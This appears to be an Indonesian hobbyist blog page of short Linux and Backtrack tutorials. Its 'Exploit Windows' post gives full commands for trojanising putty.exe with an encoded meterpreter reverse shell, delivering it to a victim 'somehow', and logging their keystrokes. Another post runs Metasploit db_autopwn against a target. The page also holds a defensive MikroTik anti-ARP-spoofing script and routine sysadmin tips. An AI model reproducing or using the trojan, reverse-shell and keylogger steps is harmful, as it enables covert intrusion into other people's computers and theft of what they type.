Exploit dengan db_autopwn

Kita kan disini sama- sama belajar jadi saya akan share tutorial yang saya dapatkan dari Abang abangan Onopurwome melakukan serangan menggunakan db_autopwn di Backtrack. Serangan dengan db_autopwn membuat kita menjadi lebih mudah untuk melakukan serangan.

1. Jalankan Metasploit.
root@bt:~# msfconsole
2. Lakukan serangan

msf > db_nmap IP_TARGET
msf > db_autopwn -p -t -e
msf > sessions -l
msf > sessions -i 1

Sangat Mudah Melakukannya. kalau kurang jelas liat Vidio Youtube ini:

Read More

Script Anti (ARP,Ettercap , Netcut dkk ) di Mikrotik Os

Untuk para Hotspoter di dunia maya saya ingin share ilmu yang saya dapat tentang anti Spoffing . Seperti yang kita ketahui kebanyakan para pengguna wifi hotspot kesal karena karena koneksinya putus nyambung bagi orang "awam" mereka akan berkesimpulan ISPnya yang bermasalah , padahal itu adalah ulah dari Netcut, Tuxcut dan Semua keluarga ARP spoofing yang ingin menguasai Hotspot dan tidalk ingin membagi koneksi tersebut dengan orang lain . ihh kejam yah. tapi jangan takut disini saya akan memberikan cara untuk mengatasi masalah pada MikroTik Os agar software- software Spofoing

Kita mulai tutorialnya:
1. Masuk ke System -> Scripts
2. klik Add dan beri nama antispoofing1
3. kemudian pada kolom source isikan script di bawah ne lalu klik OK dan Run Script

Script antispoofing1 :

:local hosts [/ip dhcp-server lease find]
:local pcname "X"
:local pcnum 0
:global hacklist ""
:foreach h in $hosts do={
:local host [/ip dhcp-server lease get $h host-name]
:if ([:len $host] >0) do {
:set pcname ($pcname . "," . $host)
:set pcnum ($pcnum + 1)
}
}
:foreach h in $pcname do={
:local hh 0
:if (!([:find $hacklist $h]>=0)) do={
:foreach k in $pcname do={ :if ($k=$h) do={:set hh ($hh + 1) } }
:if ($hh>2) do={
:if ([:len $hacklist] >0) do {:set hacklist ($hacklist . "," . $h)} else={:set hacklist $h}
}
}
}
:local timer [:pick [/system clock get time] 3 5]
:if (($switch > 0) || ($timer >= "58")) do={
:log warning ("New Hacklist: " . $hacklist)
}

4. Ulangin langkah 2 dan beri nama antispoofing2
5. kemudian pada kolom source isikan script di bawah ne lalu klik OK dan Run Script

Script antispoofing2 :

# use global hacklist variable
#:log info ($hacklist)
:foreach host in $hacklist do={
:foreach i in= [/ip dhcp-server lease find host-name $host] do={
:local ipnum [/ip dhcp-server lease get $i address]
:local unum [/ip hotspot active find address $ipnum]
:if ([:len $unum] >0) do {
:local usr [/ip hotspot active get $unum user]
:log warning ($host . " " . $ipnum . " " . $usr)
#next line kick them out right now, could also check pppoe
/ip hotspot active remove $unum
#other stuff can do now with the identified IP and USER
}
}
}

Read More

Install .deb Debian di backtrack

install ".deb" atau debian pada backtrak cukup menyusahkan untuk newbie tidak seperti di ubuntu yang bila di klik maka akan terinstal,
code:
#dpkg -i NAMA SOFTWARE.DEB

kalau kurang jelas bisa lihat vidio ini:

Read More

Exploit Windows

Kalau pengguna mikocok mendengar kata kata ini pasti bawaannya ngeri dan takut dengan pengguna Backtrack. sekarang kita akan melakukan exploitasi terhadap Windows Xp dan 7, ditambah lagi cara untuk melakukan rekaman terhadap ketikan keyboard(keylogger) melalui meterpreter.
1. Cari file yang akan kalian gunakan untuk memancing target mengeksekusi file tersebut. Disini menggunakan file putty.exe,download dulu filenya.

root@bt:~# wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

2. Infeksi file yang akan dieksekusi dengan payload exploit.rubah nama putty.exe manjadi putty_pro.exe dan gunakan exploit x86/shikata_ga_nai

root@bt:/# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.125 R |./msfencode -t exe -x /tmp/putty.exe -k -o /tmp/putty_pro.exe -e x86/shikata_ga_nai -c 5

3. Jalankan Metasploit dan buat listener agar ketika file yang kita buat diatas dieksekusi meterpreter akan langsung terbuka.

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IP_KITA
exploi

4. Entah bagaimana caranya copy file yang sudah diinfeksi diatas kedalam komputer korban,entah bagaimana caranya[usaha itu perlu bro].Ketika file dieksekusi maka secara otomatis meterpreter akan terbuka.sekarang terserah kalian mau diapakan komputer itu.

































note : komputer kita dengan target akan hilang koneksi ketika file yang dieksekusi ditutup[dicobain biar tau].

5. Plus dari ane adalah merecord semua ketikan dari keyboard.Gunakan perintah keyscan_start dan untuk melihat hasil ketikan dari korban gunakan keyscan_dump. Pawned !

Windows XP Dan Windows 7

Read More

Menghapus Kernel lama setelah update Linux

setelah melakukan update kernel, (karena sudah stabil) terkadang kita sudah tidak menggunakan kernel yang lama namun kernel tersebut masih ada di list pilihan GRUB.
Untuk menghapus kernel yang sudah tidak dipakai, lakukan beberapa cara berikut ini

1. pastikan anda mengetahui kernel yang sedang digunakan sekarang (jangan sampe salah remove) dengan perintah
   
   uname -r
2. hapus kernel yang sudah tidak digunakan (selain yang tampil dari hasil perintah uname -r dengan perintah
   sudo apt-get remove linux-image-xxx
3. restart dan kernel yang telah di hapus tidak muncul lag

Read More

Download Youtube Di LInux

Mungkin postan blog saya tentang download youtube sudah basi, karena banyak para blogger yang menulis tentang Download vidio dari youtube di linux. berhubung ada seorang teman saya yang bingung dan meminta caranyanya kepada saya cara download vidio di youtube
mungkin juga sebagian dari anda bingung karena yang biasa menggunakan winsows tinggal download menggunakan IDM, nah kan di lunux tidak ada IDM,he jangan bingung atuh
caranya begini
1 buka mozila
2 Pasang add ons Easy Youtube Downloader,
Klik Disini Untuk download Add Ons nya.

Read More

Setting IP via terminal

Terkadang ketika setelah melakukan instalasi linux, kita butuh untuk melakukan update atau instalasi yang tentunya membutuhkan koneksi internet. Dan terkadang (sialnya) entah mengapa, GUI untuk setting IP tiba2 menghilang :(
Maka satu – satunya cara adalah melakukan setting IP melalui terminal (console). Buka terminal lalu ketikkan perintah – perintah berikut ini

Misal :
IP address untuk komputer anda 192.168.1.100
Subnet Mask 255.255.255.0
Gateway 192.168.1.1

Settingan Statis

$ sudo su<br># ifconfig eth0 192.168.1.100/24 up<br># route add default gw 192.168.1.1

Settingan diatas akan hilang ketika komputer di restart :D
Jika ingin settingan tersebut permanen (tetap ada meskipun di restart) masukkan kedalam file interface

Settingan Dinamis

$ sudo su
# nano /etc/network/interfaces

cari tulisan ini :
iface eth0 inet dhcp
ganti menjadi seperti ini

face eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1

restart interface nya

# /etc/init.d/networking restart

selamat mencoba & semoga bermanfaat:D

Read More